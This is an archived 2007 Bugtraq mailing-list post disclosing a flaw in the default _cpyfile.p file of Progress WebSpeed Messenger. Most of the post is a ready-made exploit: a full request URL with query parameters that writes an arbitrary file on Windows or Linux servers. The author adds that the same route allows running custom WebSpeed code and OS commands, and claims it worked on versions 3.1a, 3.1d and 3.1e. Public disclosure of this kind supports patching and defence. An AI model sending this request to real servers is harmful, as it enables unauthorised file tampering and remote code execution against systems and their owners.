bugtraq - Progress Webspeed exploit for all releases

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070424184635.29601.qmail@securityfocus.com>
Date: 24 Apr 2007 18:46:35 -0000
From: suresync@...il.com
To: bugtraq@...urityfocus.com
Subject: Progress Webspeed exploit for all releases

Because of a flaw in _cpyfile.p which is a default installed file it is possible to gain full control of a machine running Progress Webspeed Messenger.  You can access, change and edit allmost any file on the server running the Webspeed Messenger even when the workshop is disabled.

First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url:
/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last&section=1&txt0=Test

your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last&section=1&txt0=Test

When you execute this, the script will generate a file c:/root.txt which contains the text Test.
For a Linux host just change the filename=C:/root.txt into filename=/tmp/root.txt

_cpyfile.p replaces the file if it allready exist. This is just a simple example to create a file root.txt with the text test in it. But it is also possible to write your own webspeed code and execute it. And webspeed supports OS-Commands so there are multiple ways of exploiting this flaw If tried this on webspeed 3.1a , 3.1d and 3.1e everytime it worked.